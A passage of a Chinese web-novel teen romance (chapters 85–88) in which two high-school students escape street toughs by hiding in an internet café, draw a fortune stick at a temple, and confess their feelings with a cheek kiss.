“我已经报警了。”
见盛逸愣怔的表情,应琮快步跑来,挡在他和二人之间。
“你们还不走吗?”
即使面对的是比自己还要高大强壮的男人,她依然微微仰起下巴,平静又不失威慑地注视着对方。
“又报警?”
黑夹克搓了搓自己的脑门,转头暗骂了一句,似乎真在犹豫。
他身后的堂哥表情狠厉,没有离开的意思,似乎只要黑夹克一声令下,便会毫不畏惧地挥拳出击。
应琮见他们不甘愿放弃的样子,当机立断拉住身侧少年的手,悄悄用只有两个人才能听到的声音道:“快跑。”
下一秒,她拽着盛逸飞快地往另一个方向跑去。
什么报警,不过是虚张声势的计谋罢了。
盛逸出门一去久久不归,应女士让她出门看看情况,自己走得着急,手机就放在店里没拿。
谁能想到,他手上就提个酱油,还能被两个小混混缠上。
应琮不敢回头看,只是拼命拉着盛逸,带着他在巷子里不停地左拐右拐,耳朵里灌满了呼呼作响的风声。
临近过年的街上,人迹稀少,就连许多店铺也贴了关门休息的条子,即使想要寻求帮助也找不到合适的选择。
希望那两个人追不到他们就能选择放弃。
“你为什么会突然出现在这里?”
盛逸一边跟着她飞快地、漫无目的地乱跑,看着二人紧紧交握在一起的双手,心里简直美得陶醉,美得冒泡,泡泡越来越满,几乎要溢出喉咙,他情不自禁地开口问。
英雌救美男,好罗曼蒂克的展开。
“笨蛋!”
见他似乎还没反应过来状况,应琮忍不住骂了一声。
“都什么时候了你还问这种蠢问题!
85. 第 85 章
“竟然敢耍我?!”
看到二人穿着同款围裙,手拉手溜得飞快,黑夹克气得嘴都歪了几分。
上次就是因为盛逸,害他在看守所里蹲了两个月,好不容易出来后还被女朋友嫌弃没本事,毫不留情地一脚踹了自己。
现在,罪魁祸首盛逸竟然还敢当着自己的面秀恩爱,真真是忍无可忍无须再忍!
黑夹克摩拳擦掌,拔脚就准备追上二人。
偏头一看,却发现身后的堂哥似乎并没有想要跟上去的意思。
不是说好了要替自己报仇的吗?
“哥,”黑夹克挠挠头,语气里带了自己都没意识到的卑微,“咱们一起去追他们呗?”
“你自己去吧,”堂哥张嘴,缓慢地打了个呵欠,单手插在裤兜里,边说边后退,“我有点累了。”
“哥……你该不会是听到那小姑娘说报警,害怕了吧?”
黑夹克抿了抿唇,看着堂哥同手同脚的动作,忍不住道。
堂哥动作一僵,倒也不觉得丢人,没好气地横了他一眼,语气有些咬牙切齿。
“你再不去追,人就跑没影了。”
闻言,黑夹克反应过来,赶紧往前跑,还不忘回头叫道:“等我抓到那臭小子之后,你可得过来帮我好好教训他啊!”
堂哥对此置若罔闻,往另个方向走去。
而另一头疯狂逃跑的二人,此时也有点跑不动了,各自站在原地平复着呼吸。
他们慌不择路,七拐八拐的,现在似乎走进了一条死胡同。
盛逸靠在墙上,凝视着应琮的侧脸出神,胸膛随着呼吸剧烈起伏。
她刚刚的一声大喝,像从天而降的侠士,而自己就是她锄强扶弱扶的那个弱男子,两个人不管不顾往前跑的样子,实在是……太配了。
盛逸眼神炽热,压根儿不像一个刚刚经历仇家追杀的人。
“你在想什么呢?”
应琮皱眉看去,就跑了那么一会儿,脸红成这样……寒假光顾着躺着了吧?
她盯着盛逸的脸,没找到发福的痕迹,倒是眼睁睁看着他脸越来越红,甚至眼神也越来越不自在。
“没、没想什么。”盛逸顶着她质疑的眼神,忍不住尴尬地一咳,回过神来。
“现在好像甩掉他们了。”
应琮警惕地环顾四周,身后空无一人,但她的担心并没有减少。
“不过应该也不能直接走那条路回去,万一再遇上就难了。”
她蹙眉,思忖着下一步应该怎么办。
“我们就在这里躲一会儿吧。”
盛逸说罢,看着她,下意识想要轻轻扯她衣角,好像要提醒人家把注意力放回他身上。
就这样吧,只有他们两个人,就像是世界上只剩下彼此一样。
应琮低头看他扯着自己的一角布料,倒是没有挥开。
真跑累了啊?
她于是很体贴地从盛逸口袋里拿出来手机,拨通能够拯救他们现状的110,很快表达清楚刚才经历的事情和黑夹克的外貌体征。
接线员说他们会立刻处理此事,让高中生二人先保护好自己的安全。
盛逸似乎毫不在意自己的手机在应琮手上,看着她的脸,时间的流逝、混混的追击、电话那端的警察叔叔都在此刻变得不重要了。
他自顾自陷入了幻想:手机是人类最私密的物品之一,这要是在古时候,她就得对自己负责了……
他们以后要在哪个城市定居呢?自己倒是无所谓,不过应琮和应阿姨关系那么好,可能会想要留在本地……那也好。只是他以后可能不习惯和长辈住一起,肯定要买两个人的房子。
本市有山有海,不知道应琮更喜欢海景房还是……
等待警方答复的过程中,隐约传来脚步声,应琮陡然紧张起来。
“不行,”她决断道,“我们不能一直干等在这里。”
巷子里没有其他可以躲避的地方,就算最终黑夹克会被带走制裁,但万一他们俩在警察到来之前就先挨打了呢?
应琮不想挨打。
她再次仔细观察起这个巷子来,发现有一扇自己之前没有发现的小门,隐藏在角落里。
上面没有什么显眼的门牌,只有旁边的墙上贴着一张已经褪色了的禁烟标识。
脚步声越来越近,应琮心一横,拉着盛逸的胳膊就从小门钻了进去。
*
别看是个小门,两个人进去之后才发现内有乾坤。
原来这是网吧的侧门,略显昏暗的灯光下,目光所及之处,整整齐齐地摆满了电脑。
应琮表情一滞,没有继续往前。
虽然知道没什么,但她从来没进过网吧,或类似的娱乐场所。
“我们找个角落躲一会儿吧。”
盛逸带着她找了个偏僻的座位坐下,这里周围没什么人,再加上有电脑的遮掩,安静又隐秘。
而且网吧是他的领域,要是应琮打游戏就好了,他可以给她露一手。
应琮坐在位置上,并没有立刻放下警惕,因此也不关心他屏幕上的操作。
“来都来了,玩一会儿再回去吧。”
盛逸倒是接受良好,他打开电脑的开机键,扫码付了一个小时的网费。
他的动作行云流水,根本来不及阻拦。
“你很熟练啊?”应琮视线拉回来,见状撇嘴,“未成年人不能进网吧。”
“诶?我已经成年了啊。”
盛逸眨眨眼睛,而后恍然大悟。
“看来你不是比我小了两个月,而是一年零两个月啊。”
他一副惊讶的语气,但笑眼弯弯,灯光撒入眸子里宛如漫天星辰。
应琮抿唇不语。真烦人。
盛逸快速地浏览了桌面上的几个图标,凭感觉随便点进去一个貌似是推理的游戏。
他平时爱玩的游戏估计应琮都不感兴趣,但是这种大众向的游戏,零门槛也能看懂。
他盯着屏幕,表情认真起来。
总要让应琮看看,自己也是拥有一个不比其他人差劲的脑袋的。
这是沉浸式的变格推理游戏,盛逸选择性地无视了游戏开始前对于胆小人士的温馨劝告,直接点了开始。
“……你为什么不跑?”
应琮原本只是在旁边坐着,但网吧的电脑屏幕实在太大,不免看到了盛逸的操作。
被Boss追着,他竟然愣愣地站在原地,即使向左向右躲避,依然每一次都能稳稳接住对方的伤害。
“我跑了……”自己操纵的角色已经连续死了四次,盛逸的气势有点弱,“只是一按其他的键,就有点操作不来。”
“你平时很少玩电脑游戏吧。”应琮无奈。
他的电脑操作和游戏意识也太菜了,在追击战的过程中甚至还要抽空低头去看键盘上的字母,确保自己没有按错。
“……我是运动系。”
盛逸为自己正名,心下懊恼。
本想好好展示一下,怎么感觉
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又被自己搞砸了。
早知道就选另一个游戏了。
应琮该不会觉得自己是个很笨的人吧,他参加竞赛只拿到了铜牌,也没有拿到保送的名额,就连打游戏也技不如人。
盛逸几不可察地向下弯了弯唇角,笑容不复刚才耀眼。
“你负责左边的这四个键,”应琮并不知道他的心思百转千回,她将自己的手放在右边的键盘上,“我试试。”
她刚刚已经看了好一会儿了,大概摸透了这个游戏的玩法。总共就那么几个键,两个人一起操纵的话,只要配合不在关键时刻掉链子,不可能打不赢这个Boss。
“你要来帮我?”
盛逸有些受宠若惊:“不觉得我很没用吗?”
“搞不懂你在说什么,”应琮的眼神从电脑屏幕移到了他的脸上,疑惑不解,“简单玩个游戏也要上升到有用没用吗?”
“你说得对……”
盛逸重新恢复笑脸,郑重其事地按下再次开始的游戏键。
有应琮负责攻击和躲避,他只需要操纵好角色的行动方向即可。
电脑键盘上同时放着三只手,简直就是网吧里的奇观。
键盘声发出有节奏的嗒嗒声,两个人被同一条耳机、同一台电脑所联结起来。
因为专注,应琮不由得往里靠了靠,她手指纷飞得很快,发出的攻击又快又准。
盛逸闻着属于她身上的味道,只觉得此刻便是永恒。
如果Boss的血条可以再长一点就好了,这样就可以打得更久。
这终究只是奢愿,尤其在应琮的带飞下,Boss的血条急转直下,很快就化作一团黑雾消失不见。
“OK了。”
完美通关,应琮酷酷地说,双手从键盘上离开,交叉活动了一番。
“小姑娘打得不错啊。”
有个声音从二人椅子后传来,对方却是黑夹克的堂哥。
“你要干嘛?”盛逸率先站了起来,挡在应琮身前,“我警告你,警察已经在来的路上了。”
“别那么紧张,”男人笑笑,“我和你们又不熟,没想找你们的茬。”
“那你为什么出现在这里?”
应琮往前一步,和盛逸并肩站在一起,刚才还因为游戏胜利露出的笑容迅速消失殆尽。
“上网啊。”
男人指了指旁边的位置,电脑上是另一个游戏界面。
虽然他说不一定是假话,但对方毕竟是一个体格颇大的成年男性,他们两个高中生可不敢拿自己的安全作赌。
盛逸和应琮一对眼神,两个人同时悄悄往外走去。
“对了,”男人叫住他们,语气颇有几分玩味,“你们下次不用急着报警,我会看住那小子的。”
他本来也只是想配合着堂弟玩一玩,没想到一不小心过了火,事情闹大了。
“很难说,”盛逸的脚步停住,转身看他,语气格外冷淡,“如果我们感觉受到了威胁,自然还是要报的。”
“你们不相信我的话。”
男人笑了笑,笃定道。
应琮和盛逸对此懒得回应,这不是显而易见的吗?
莫非对方想玩猫捉老鼠的戏码,故意过来戏耍他们,待放松警惕之后再好好施展报复。
“如果我说,我是杨乐杨欢的舅舅呢?”
自己的话被无视,男人并不生气,反倒是不疾不须地继续说道。
“?”
二人不敢相信自己的耳朵。
86. 第 86 章
“很奇怪吗?”
男人耸耸肩,他今年虽说才二十出头,不比眼前的几个高中生大几岁,但胜在辈分大,是正儿八经、货真价实的小舅舅。
盛逸和应琮又对视一眼,双方的表情都难以用语言形容。
欲言又止、欲说还休。
短短几句话,里面信息量却迟迟让他们久经遗传谱系图考验的大脑反应不过来。
从杨欢,到眼前的这个男人,再到之前遇到的黑夹克……你们杨家还有什么惊喜是我们不知道的?
只能说杨家人的成分还是太复杂。
“那舅舅,”盛逸完全灵活姿态,很快便改口道,“你可得好好管管他,我们和杨乐毕竟都是同学,关系好着呢,别总是为难我们。”
早知道黑夹克认识杨乐,他当初就应该找杨乐要点身心损失费。
“好说,”男人重新回到自己的位置上坐下,一副准备继续游戏的样子,语气漫不经心,“不过如果他再进几次警局,就要被剔除族谱了。”
这么复古的么?
“……意思是以后就管不住了吗?”
应琮和盛逸对视一眼,开口不确定道。
“意思是以后可以大义灭亲了。不用你们报警,我先拿他‘开刀’祭祖。”
男人的视线从游戏中转移到二人小心翼翼的脸上,笑得露出一排牙齿。
应琮莫名觉得背后一凉,不愧是西街恶霸之后台。
“杨叔叔,”像是电视剧结拜一般,盛逸动容地感慨道,“以后你就是我的亲舅舅!”
什么西街一霸,还不是得乖乖听长辈的话。
太好了,他们以后也不用怕会被人报复了。
听到他的话,男人放在鼠标上的手一顿。
跟杨欢杨乐是因为辈分限制,这眼前的小屁孩能别乱喊么?
自己看着有这么成熟?
一定是因为今早起床没刮胡子。
“不过,杨乐舅舅……”应琮还是比较有边界感,男人矜持地点头回应。
“话说您怎么知道我俩是杨乐的同学啊?”
“女孩,你发现了华点。”男人扬唇一笑。
“不愧是舅舅啊,梗都比我们年龄大。”盛逸基本没有不多嘴的时候。
应琮轻轻咳嗽一声,盛逸条件反射般看她眼色,立马立正了。
男人似笑非笑,杨乐那小子在学校不知道怎么样,在家话还不少。
他前桌两人,堪称欢喜冤家,一个冷脸一个热脸,日日是怎么相处的,什么外貌什么特征,他听得都烂熟于心了。
他和杨欢还有一场关于这俩的赌注在火热进行中,没有认不出来的义务好吗?
“舅舅你笑得这么神秘干啥?你快说呀。”
“没什么,我猜的,他说他前桌是他们学校长得最好看的。”
应琮眼里还有质疑,在她看来,长相是最主观的东西,她宁愿相信是杨乐给他看过他们的照片。
不过盛逸已经对这个说辞全盘接受了,甚至心里还觉得自己和同桌才貌双全、般配极了。
美得下一秒就想发个喜糖分享喜悦。
好在及时被应琮拖走了,只能用眼神传递喜悦。
*
原本只是简单出门买瓶酱油,却发生了这么多莫名其妙、啼笑皆非的事情。
待应琮和盛逸走出网吧,天边已经泛起橙红色的晚霞,没有什么层叠飘逸的云彩可言,像是被巨大的笔刷一口气涂满了颜色。
“现在提着酱油回去,是不是有点晚了。”
看看自己手上拿着的酱油,盛逸挠挠头。
“没关系,”应琮看向远处的暮色,表情显得悠远,“反正店里也没什么生意。”
“说起来,”盛逸转头看她,“我没想到怎么阿姨那么爽快就同意我来店里打工?”
他找的借口明明很常见,而且既然饺子店在寒假的生意不好,何必要再多请一个人来,多一笔支出。
“因为我妈觉得你是个有孝心的……”
应琮下意识地回答,触及他眼神的时候,话头戛然而止。
“什么?”
盛逸没听清楚,头往她那边靠了靠。
“别多想,”见他靠近,应琮把头转向另一边,“我妈纯粹是想给自己也休息一段时间。有你帮忙,我们也可以轻松些。”
“看来我还是挺重要的。”
盛逸闻言嘿嘿一笑,话锋忽然一转,声音里是隐隐的笑意,“为什么你的脸看起来有点红呢?”
周围没有任何反光的东西可供自己参考,应琮快速地伸手挡住自己的脸,同时给予反击。
“你的脸也很红啊!都是因为夕阳倒映在脸上了才会这样。”
“是吗?”
盛逸看着她,好脾气地笑笑,没有再继续开口调侃。
夕阳散落在肩头,暖洋洋的,两个人沿着街巷,慢慢地往前走着。
忽然,没有征兆的,从头顶飘下几滴微凉的雨水,直直坠入发丝间。
应琮停下脚步,抬头看看。
“好像下雨了。”她说。
他们的头顶并没有房檐,按道理来说不是楼上在滴水。
“天色还这么亮,就要下雨了?”盛逸奇怪道,“而且现在还是冬天,不是夏天才会出现太阳雨吗?”
“不知道。”
两句话的功夫,雨滴打在身上的感觉越来越明显,甚至能听到落下时“啪嗒啪嗒”的声音。应琮往旁边看看,抬手扯着他的胳膊往最近的大树下走去。
“在这里躲一会儿吧,”她说,“反正还没有打雷和闪电。”
盛逸顺从地跟着她,两个人并肩在树下站立,金色的余晖穿过叶片的缝隙,为发丝镀上一层灿烂的光。与之相伴的,还有愈下愈大的雨,在耳边发出沙沙的响声,像是某种令人内心宁静的背景白噪音。
“天气预报都没反应过来这场雨。”
盛逸拿出手机看看,上面显示该地区依然是晴空。
“因为是狐狸的女儿在出嫁吧。”应琮想起之前从美芳阿姨那里听到的民俗传说,起了开玩笑的心思,“听说狐狸嫁女的时候,就会突然在晴天下起雨来,是为了提醒人类回避。”
“狐狸啊……”
盛逸的余光总是不由自主地注意到应琮,心甘情愿地被她所吸引。
应琮正凝视着从叶片上滴落的雨水,夕阳映衬得她的眼眸更加晶莹剔透,像是某种可爱的动物。或者说,她就是狐狸的女儿也说不定。
不然怎么他的眼光没办法从她身上转移?
他想离她更近一点。
盛逸情不自禁地移了移脚步。
“别担心,”察觉到他的动作,应琮转头看向他,宽慰道,“太阳雨一般都下不了多久。”
“我不在意这个。”
盛逸轻轻摇头。
他
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根本不在意下不下雨,只在乎和他一起等雨停的人。
“那你想说什么?”
应琮看着他黑白分明的眼眸,微微侧头。
她好可爱。
“我……”
盛逸能够感受到自己胸腔内在砰砰乱跳,他赶紧扭身过去,用手用力按了按自己的心脏。
好险,差点没忍住。
重新转过身,再次面对应琮时,他已经调整好了自己的表情。
“听说光华寺求签很灵,”盛逸装作不经意地开口,“刚好快过年了,要不要一起去求签?”
“……只有我们?”
应琮话说出口才觉得有些暧昧,生硬地接了下半句:“如果店里没事的话……”
“没事的话就一起去对吧!”
盛逸眼睛一亮,笑容满面。
应琮轻巧地转了个身,不去看他的表情。
“雨停了,我们赶快回去吧。”她说,内心不如语气平静。
突然而至的一场雨后,太阳居然还没有完全落山。
金灿灿的半个落日,倒映在路边的每一处积水里,明亮得晃人眼,让人无法看得真切。
*
等两个人回到店里,应雨柔已经从后厨出来了,对于迟来的酱油,她并没有表现得很惊喜或是责怪,眉宇间反倒多了一层没来由的忧愁。
“怎么了?”
应琮把酱油放到专门的位置后,出来看到妈妈的模样,不禁问道。
“应琮,我有件事要跟你说。”
应雨柔郑重其事地叫着她的名字,表情认真。
气氛似乎有些不对劲,盛逸莫名感受到一种凝重,他连忙往厨房走去,给母女二人腾出一个对话的空间。
“什么事?”
应琮抿了抿唇,坐在妈妈的对面。
“奶奶今年身体不太好,所以她说这次就不回来了。”应雨柔抬手按了按自己的眉心,语气低低,“你刚刚出门时没带手机,所以是我接的电话。”
应琮张了张口,在空气中,没发出来一点声音。
妈妈虽然不限制她和奶奶之间的交往,但作为前儿媳,应雨柔一直避免自己和对方产生不必要的私下联系。
“我知道了。”
应琮点点头,发现妈妈的神情依然没有缓和。
“奶奶……和你说了什么吗?”
她看着应雨柔,心里涌上一丝不安。
“……没什么。”应雨柔露出一个笑,抬手摸了摸女儿的发顶,“我把你竞赛的结果告诉她了,奶奶很为你高兴。”
听到夸奖,应琮低头看地,唇角不自觉地有些上扬。
她其实已经不怎么和奶奶聊自己的成绩了,但是听到奶奶这样说,心里还是犹如热流涌动。
“对了,”应琮想起来,“盛逸约我出去玩,我们可能会有一天不在店里帮忙,妈妈你看看哪天方便?”
“那就明天吧,”应雨柔心不在焉的,“明天干脆关门一天休息好了。”
她答应得过分干脆,应琮都怀疑她是不是根本没听清自己刚刚说的话。
“没事了就干活去吧。”
应雨柔站起身,把二人安排得明明白白。
“你和盛逸一起把地扫扫,然后去给垃圾桶换个袋子,之后就可以等着吃晚饭了。”
“收到。”
应琮往厨房走去,准备叫上自己的兼职搭子一起同甘苦。
87. 第 87 章
事实证明,昨天的雨只是冬日晴空中的一个小插曲。
澄碧一色的天空,高远而辽阔,白云悠然远去。透明又不失温暖的阳光,顺着尖尖的檐角倾泻而下,正中间供奉的香火烧得正旺,青紫色的烟雾在空气中弥散开来,直直飘到门外。
应琮站在门口,仰头去看挂在上方的匾额——光华寺。
这里就是江城著名的千年古刹。
传闻光华寺许愿、求签都很灵验,所以哪怕他们两个吃完中午饭就早早过来,此时目光所及之处依然是人头攒动。
“听说这里不能走回头路,”盛逸看着她的侧脸,“我们从左边进去,在里面绕一圈后,再从右边出来。”
“人越来越多了,我们进去吧。”
应琮不置可否地笑笑。
她很小的时候,李正心事业刚刚起步,全家一起来过这里诚信发愿。现在回看,确实是很灵验。
只可惜人没办法做到向佛祖神灵许愿的时候,将人间万事都囊括其中。
求得了财,便不免失去些什么。
两个人并肩,共同跨过左边的门槛,这才正式地进入其中。
虽然不是第一次来,但应琮表现得和第一次来的盛逸没什么区别,她跟随着人群一边走,一边左右张望着。
相较于过去有所回升的气温,成功让寺庙花坛中种的许多花都微微吐露芳颜,为本该寂寞的冬季带去些许鲜艳的点缀。
她拿出手机,微微俯身,打算拍一张花坛里的金盏花发给妈妈。
“小心!”
一不留神,从转角忽然蹿出一个只到人腰间的小孩,眼看就要直直撞上应琮。
盛逸眼疾手快,赶忙拉住她的另一只手,把她往自己的怀里带了几步。
小孩一时也刹不住车,脑袋结结实实地撞到了他的侧腰,疼得盛逸也顾不上表情管理了,呲牙咧嘴的。
“哥哥,对、对不起。”
小孩瘪了瘪嘴,眼睛里迅速汪起一泡泪,仿佛下一秒就会在这里放声大哭。
“哎你别哭啊,我没事儿!”
菲菲都没这么容易哭,盛逸急了,生怕他的家长会从不知名的某处跳出来。
即使他都这样说了,小孩依然站在原地,垂着脑袋,半哭不哭的样子。
“哥哥没有怪你。”应琮蹲下身子,拿出一张纸巾递过去,“你的爸爸妈妈呢?”
“在、在那边。”小孩接过纸巾,大声地擤着鼻涕,指了指旁边的某个方向。
“那你去找他们吧,”应琮揉揉他的脑袋,面上露出一个笑来,“走路的时候记得慢一点。”
小孩点点头,小跑着离开了。
“你对付小孩还真是有一套。”
盛逸在旁边看着,原本自己身上的疼痛也像是被抚慰了一般。
“你没事吧?”
应琮站起身,顺便关怀一下。
“小孩的力气,能有多大?”盛逸逞强道,好像刚才痛得表情扭曲的人不是自己。
“这里人太多了,走路还是得小心点。”应琮道,话音刚落,忽然感觉自己垂落的手被人握住了。
她侧脸看去,盛逸的脸绷得紧紧的,似乎很严肃。
“你说得对,人太多了。”
他重复着应琮刚才的话,手上的力道不变,语气格外正经。
低头看看两个人交握一起的双手,应琮没说什么,由着他去了。
如果盛逸仔细观察的话会发现,旁边涂了一层透明保护漆的木柱上,能够看到应琮微微上扬的唇角。
*
“为什么又是小吉?”
看着自己抽出来的签文,应琮脸上是掩盖不住的懊恼。
因为不能走回头路,两个人便顺着人流,挨着一个殿一个殿地进去。
结果虔诚许愿后花钱求得的签,不是小吉、就是末吉,甚至盛逸刚刚还抽到了一个小凶。
难道他们两个人凑到一起,运气就这么不好吗?
还是说,因为来晚了,好的签都被人抽走了??
“我抽到的还是末吉。”
盛逸摊开手,给她看木片上面的签诗。
应琮叹了口气,忽然后知后觉地意识到一个重要的事情。
“你还剩下多少钱?”
她抿了抿唇,看向盛逸的眼睛。
刚刚一时抽得忘情,都忘记掂量钱包的重量了。
盛逸把求来的签小心翼翼地放进口袋里,拿出手机看看,又将屏幕调转方向给她看看。
“……我们是不是运气真的很差。”
看他剩下的,和自己也没差多少,应琮扶额苦笑。
早知道出门前,就应该找妈妈把前两天的兼职工资给结算了。
“还剩最后一个殿了,”盛逸问,“我们两个人的钱加起来,应该只够求一根签。”
“……还求吗?”
末了,他又补充了一句。
应琮听在耳朵里,倒像是在问自己还要不要继续赌一把,向佛祖证明自己的运气。
“要不,再试最后一次?”
她沉默两秒,还是决定挑战最后一次。
来都来了,总要坚持到底。
应琮跟在盛逸身侧,两个人并排跪在拜垫上,轮流摇过签筒后,重复着刚才进行过许多次的动作,双手合十放在胸前,闭紧双眼,虔诚地在心里许愿。
奇怪,应琮本来心里有很多想要实现的东西,愿望也因说了很多次,就挂在自己的嘴边,不用费什么力气就能够流利地默念出来。
但或许是想到这次是两个人共同求的签,闭上眼睛后,她的脑海里莫名出现了盛逸的脸。
应琮闭上了眼睛,却在心里面和他四目相对。
然后就再也说不出什么愿望来了。
再次摇动签筒,“啪嗒”,清脆的一声,有签文掉出来了。
应琮和盛逸睁开眼睛,却发现签子恰好掉在拜垫之间的缝隙里,若要拿出来可不算太容易。
二人对视一眼,都从彼此的眼神中看到了对自己运气的绝望。
“你们两个人,”身后传来一个略显成熟的女声,“年纪这么小就上到月老殿里求签?!”
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>她的语气过分惊讶,如果不是因为殿内禁止喧哗,恐怕音调还能再上扬四个调门。
月老殿?!
应琮和盛逸也大惊失色起来,在寺庙里转悠了这么久,他们见到门就往里面进,刚才压根没仔细看头顶牌匾上写的是什么字。
怎么会是月老殿!
应琮起身就要走,盛逸却还跪在原地,忙着把求到的签从缝隙中拯救出来。
真是个笨蛋。
应琮站在门口的树下,刚平复完心情,抬眸就看到盛逸满面笑容地向自己走来。
“怎么这么高兴?”她忍不住开口。
“你看——”盛逸把签文递过去,“是大吉哦,我们终于抽到一个好签了!”
应琮一看确实,或许是负负得正吧,两个倒霉蛋凑在一起,中了一个上上好签。
“我们一起去隔壁解签吧。”盛逸兴冲冲道。
往前走了几步后,他才反应过来身后的人并没有跟上,应琮依然站在原地,正似笑非笑地看着自己。
“你笑什么?”
应琮没有回答这个问题,不慌不忙地往前走了一步。
“你是不是喜欢我?”她问,唇角的笑意变得更深了些。
盛逸没有想到自己在脑袋里构想过无数遍的表白情节,就这么轻而易举地从对方的口中说出,应琮的脸甚至都没有刚才听到“月老殿”三个字的时候红。
但他才不允许自己落下风。
盛逸也学着她的样子,微微一笑。
“是啊,你才发现?”
应琮的目光在他身上顿了顿,旋即从他身旁走过。
“那我们去解签吧。”
少女清冽的声音从耳畔拂过。
“什么意思啊你,我们一起去解签是什么意思啊?如果签文解出来是天作之合、白头偕老怎么办?”
见她反应莫测,装不过三秒的盛逸又急了,赶忙跟过去去拉她的手,嘴里是一个接一个的问题。
应琮不语,反手拉着他的手,脚步没停。
*
解出来果然是好签。
【红线早系,天定相逢。两心相契,意笃情长】
明明只是很薄的一片木签,盛逸的手却微微有些发抖,心神激荡。
这是上天给他的旨意吗?
他赶忙转头去看应琮,对方的脸上依然是那抹神秘的、捉摸不透的笑意。
二人的手依然拉着,没有人主动放开。
盛逸深吸一口气,握着应琮的手不自觉地紧了紧。
刚才的表白像是气氛使然,显得有些随便。
自己身边站着的,是喜欢了这么久的人,他还想认真、郑重的、看着对方的眼睛,再重新说一遍。
“我……”
盛逸的脸已经比梅树上的花苞还要红,他垂头看向少女的双眸。
“不要在寺庙里做这些。”
应琮像是有预感般出声打断,旋即微微一笑。
“等下你可以送我回家吗?”
她的语气轻快,犹如阳光下一个个浮动的彩色泡泡。
88. 第 88 章
一路上,二人各怀心事,彼此都没有再开口说些什么。
所幸气氛没有想象中的尴尬,盛逸的目光久久停留在应琮的脸上,宛若静水深潭下的暗流涌动,微妙的试探隐藏其中。
他觉得自己没救了,即使猜到会有失败的可能性,但依然不愿意离开。
甚至连手都不愿意松开。
“就送到这里吧。”
应琮率先停下脚步,身后是熟悉的小区大门。
一缕残阳的余晖,还颤巍巍地挂在门前的树梢头,红得惊心动魄。
“……我们还会再见面吗?”
盛逸有一万个问题想要问出口,可他迟疑许久,还是选择了一个最平平无奇的问题。
“为什么不会?”应琮轻巧地用问句回答了问题,她的表情如常,“明天饺子店照常营业。你不是要兼职一周吗?”
“……你说得对。”
她对待自己的态度看不出有丝毫的变化,盛逸忽然有些泄气。
过去很多时候自己绞劲脑汁构思出来的表白场景和对白,在瞬间变得苍白无力,难以启齿。
他确信应琮已经明白自己的心意,但对方如常的态度实在难以捉摸。
她对此怎么看?
他们以后会渐行渐远、分道扬镳吗?
他错了。
或许应琮并不是一只猫,而是一块冰。
轻而易举地就能反射出自己的内心。
他爱她,又恨她太过聪明。
反正全部都被看穿了,自己已经无处可躲。
盛逸抬起头,远处残阳似火般浓烈。
是在为他的少男情思祭奠吗?
愣神中,他忽然感觉下巴上多了一丝奇怪的触感,凉丝丝的,仿佛有一只蛇行至此处。
还没等反应过来,盛逸的侧脸被人轻轻吻了一下,如蜻蜓点水般一触即离。
“再见。”
应琮说完,立刻松开捧着他下巴的手,转身逃也似的匆匆离去。
属于少女身上的香气依然残余在原地,盛逸后知后觉地想要伸手去摸自己的脸颊。
发生了什么?应琮为什么会主动亲吻自己?
那她是不是……也有一点喜欢自己?
盛逸不敢继续去猜,甚至没有勇气去追上少女的背影。
他站在原地,抬手挡住自己的侧脸,露出的表情像笑,又像在哭。
*
应琮飞快地冲进家门,径直来到房间,倒在自己的床上,无视妈妈在门外的呼唤。
她满脑子都是刚刚发生的事情,心脏跳得几乎要冲出来。
自己怎么就亲上去了?!!怎么就!!!
都怪盛逸,她心道是。
在对方沉默的时候,应琮一直注视着他的脸庞,虽然平时在学校里朝夕相处,早就看习惯了这样的脸。但今天看去,似乎又和之前不太一样,她也不知道自己的心为什么会发生改变。
看着看着,应琮的心里忽然油然而生一种占有欲。
这个人是属于自己的。
谁也不能抢走。
在占有欲的驱使下,什么矜持、什么害羞,应琮全忘了,抬手捧住对方的脸,就给盛逸盖了一个戳。
Alittlepeck。
应琮原本一片空白的脑袋里忽然出现了这样的词,不合时宜的英语积累袭击了她,也很快让她反应过来,自己刚刚情不自禁的举动是多么令人惊讶。
再去看盛逸,对方的整个身体都因为这清浅一吻而变得僵直,甚至连表情都有些呆愣,好像完全没有从刚才的情况中反应过来。
“再见。”
她只敢用最简单的话和盛逸告别,因为剧烈的心跳声震得她的身体都在微微颤抖。
“滴滴”
口袋里的手机发出震动。
应琮深吸了一口气,做好心理准备后才敢打开手机。
【CC!我有一个好消息和坏消息,你想先听哪一个?】
原来是远在燕京参加艺术集训的程依依。
【我也有事要告诉你。】
应琮在对话框里删删改改许久,同样发去一句。
【那你先说吧!】
听好友的口气,像是有什么重要的事情要分享给自己,程依依大方地将机会让给她。
【我谈恋爱了……】
看到屏幕上出现的五个字,程依依惊讶地差点把手机摔到脸上。
也顾不得刚练完舞后疲惫的身体,她一股脑地从床上爬起来,披了件外套就往宿舍外走去,边走边拨通和应琮的电话。
打字已经不够了,她必须现在立刻马上知道CC的状况。
对方很快就接通了,一言不发。
“你谈恋爱了?!”程依依的激动抑制不住,几乎是要尖叫出声,“对象是谁?是我们学校的吗?我认识吗?谁先表的白?”
“……”
电话那头并没有她想象中的激动,反倒是沉默下来。
“怎么了?”
程依依的语气低下来,不确定地开口。
难道谈了一个难以启齿的对象?
不应该啊,好友的眼光她是清楚的。
“对不起,”应琮叹了口气,“恋爱对象是盛逸……”
听到“盛逸”的名字,程依依原本还有些不安的心豁然开朗,松下一口气。
“这有什么好对不起的,”她道,“你和盛逸在一起是水到渠成、理所应当。”
感觉长了眼睛的人都能看出来,这俩人之间不一般。
“你不是之前给他递了情书,跟他表白了吗?”应琮瞪大了双眼。
她今天也是一时冲动,躺在床上才反思过来,依依之前和盛逸的事情。
“什么?!”程依依的大嗓门透过电话清晰地传递出来,震耳欲聋,“我和他没关系!!!”
听到好友这样说,她是真的急了,连忙把之前的事情说清楚。
“……反正我只是帮别人跑腿而已啦,”程依依恍然大悟,“难怪你之前要专门和我说,觉得盛逸是给的事情!”
虽然她当时听过就忘记了,完全没在意。
“……他不是。”
意识到自己当初找的借口有多拙劣,应琮感觉脸都有点发烫。
“你要跟我说的好消息是什么?”她连忙岔开话题。
电话那头的程依依嘿嘿一笑:“好消息是我被选中作为展示舞剧的女主角,坏消息是我必须要在五天之内减重八斤。”
“天啊!”听到如此严苛的要求,应琮倒吸一口凉气,旋即替好友担心起来,“冬天要在短时间内瘦下来,很难吧。”
“没事的,”程依依声音开朗,“我已经习惯一天一顿饭了,只要再加大热量差就好。”
“等我集训完回来,第一件事就是去你家的饺子店吃饭~到时记得把盛逸叫过来当端茶小弟。”
听了她的话,应琮不由得偷笑。
依依不知道,他现在已经是店里的端茶小弟了。
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*
